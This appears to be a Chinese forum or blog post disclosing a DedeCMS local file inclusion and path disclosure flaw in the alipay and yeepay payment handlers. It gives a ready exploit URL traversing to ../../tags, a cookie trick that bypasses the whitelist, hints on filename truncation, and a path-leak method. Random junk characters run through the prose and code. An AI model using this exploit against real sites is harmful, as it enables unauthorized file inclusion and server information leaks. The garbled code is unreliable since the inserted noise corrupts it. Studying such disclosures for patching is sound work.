dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

出现漏洞的两个文件为：
Include/payment/alipay.php
$ h1 T8 u* d! b! B% |; G* oInclude/payment/yeepay.php
. T* z+ k$ z- m& D! m% ?% X漏洞均出现在respond方法里，估计这两个文件是临时工写的。

( p2 E! E9 t9 ^9 x% n6 uInclude/payment/alipay.php
! _6 L! N" R+ {6 s
% c" R  D& ?+ K; J# G9 o0 _% n( L. u......
   function respond()
  _% h3 Z; x+ I    {
* S/ A2 v$ Z; x9 J) a" T        if (!empty($_POST))
        {
) q+ ]' R/ ]# A            foreach($_POST as $key => $data)
            {
7 g2 v% Y6 A+ ^7 C5 p3 w                $_GET[$key] = $data;
            }
7 W- E4 Y' `7 [% h+ F, o" [( r, N5 o        }
) m! |' k4 y* z5 T* c        /* 引入配置文件 */
- m  G! y& E" o& D2 ?/ ]        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
% g( l5 @* h: \% Y/ v......


大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
4 s6 g; ?- p6 V! w2 f/ h. a& w
Include/payment/yeepay.php
" Y! \) T) k0 Q5 ?% {$ G5 G1 [' l$ Q
! l, z9 m; i; e

......
    function respond()
    {
0 J$ D* ^3 t# H* g" ^8 F
) z6 u- x0 `4 `1 h1 W        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
5 i) _! M3 c6 m3 V6 l
        $p1_MerId = trim($payment['yp_account']);
5 c, a/ |1 K  s% s+ H        $merchantKey = trim($payment['yp_key']);
9 k; d+ V1 W. A......
) l, u# L" x4 a( l6 ^% m+ J



大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
3 R- @6 x$ Y# N$ |! o$ m
这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php

2 N; ]- s; s3 a) N3 p* [) y......
. \1 M8 S4 R: _} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
    {
        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
1 L! w2 p- w0 N+ f- M+ S; F        exit();  
9 L% F& D5 f% n: [& F    } else {
        exit('Error:File Type Can\'t Recognized!');
3 E# m6 g& D9 Z    }
}
  w9 V7 u) ~' S( {' P......


8 o& E) K' i* m1 X$ F7 d  e
' b! ^! \$ m+ j& e  o- N  J
( t7 h: a  g3 W/ F: r8 N& @  m

( p5 H/ V$ p( ?+ @* c大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
6 d4 y" J6 h3 A, x所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
  t$ c5 [! b. D( R
# c: W' p0 W# T6 ~+ N7 B- G7 G: J! b1 T) Y回到include/common.inc.php来看看他的机制。
! y) ?6 m6 B8 M* N/ U4 `3 g) s3 V6 j5 F
: W1 O9 m8 g1 a+ N' H- h6 |

......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
        {
( W' g+ S, Q2 [  I* Y' O                if($_k == 'nvarname') ${$_k} = $_v;
0 s* Y& W! o6 k! o& H* _( t                else ${$_k} = _RunMagicQuotes($_v);
        }
9 z( D, L- E& b+ s: ]+ b+ s6 N}
( L9 n' |( g8 y6 y- o8 t......
$ X+ C+ h, D+ V6 u大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。